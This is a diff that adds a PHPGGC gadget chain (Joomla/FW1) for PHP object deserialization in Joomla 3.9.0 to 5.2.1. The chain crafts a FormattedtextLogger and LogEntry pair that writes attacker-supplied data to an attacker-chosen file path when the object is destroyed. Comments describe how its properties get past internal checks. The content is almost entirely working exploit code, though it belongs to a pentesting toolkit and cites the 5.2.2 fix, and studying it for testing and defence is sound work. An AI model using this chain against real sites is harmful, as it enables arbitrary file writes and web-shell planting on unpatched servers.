Joomla/FW1

gadgetchains/Joomla/FW/1/chain.php

@@ -0,0 +1,23 @@
+<?php
+
+namespace GadgetChain\Joomla;
+
+class FW1 extends \PHPGGC\GadgetChain\FileWrite
+{
+    public static $version = '3.9.0 <= 5.2.1';
+    public static $vector = '__destruct';
+    public static $author = 'mcdruid';
+    public static $information = 'Fixed in https://github.com/joomla/joomla-cms/pull/44428
+    which is included in the 5.2.2 release.';
+
+    public function generate(array $parameters)
+    {
+        $path = $parameters['remote_path'];
+        $data = $parameters['data'];
+
+        return new \Joomla\CMS\Log\Logger\FormattedtextLogger(
+            $path,
+            new \Joomla\CMS\Log\LogEntry($data)
+        );
+    }
+}

gadgetchains/Joomla/FW/1/gadgets.php

@@ -0,0 +1,40 @@
+<?php
+
+namespace Joomla\CMS\Log\Logger
+{
+    class FormattedtextLogger
+    {
+        protected $defer = true;
+        protected $options = ['text_file_no_php' => true];
+        protected $path;
+        protected $deferredEntries = [];
+        protected $format = '{F}';
+        protected $fields = ['F'];
+
+        public function __construct($path, $deferredEntries)
+        {
+            $this->path = $path;
+            $this->deferredEntries = [$deferredEntries];
+        }
+    }
+}
+
+namespace Joomla\CMS\Log {
+    class LogEntry
+    {
+        // Setting $clientIP avoids \Joomla\Utilities\IpHelper::getIp running
+        // but the Gadget Chain seems to work okay either way.
+        // public $clientIP = 'i';   // !isset($entry->clientIP)
+
+        public $date = '1234567890'; // strlen($entry->date) != 10
+        public $time = 't';          // !isset($entry->time)
+
+        // This property could be called anything but must match the values of
+        // the $format and $fields properties of the FormattedtextLogger.
+        public $f;                   // #[\AllowDynamicProperties]
+
+        function __construct($f) {
+            $this->f = $f;
+        }
+    }
+}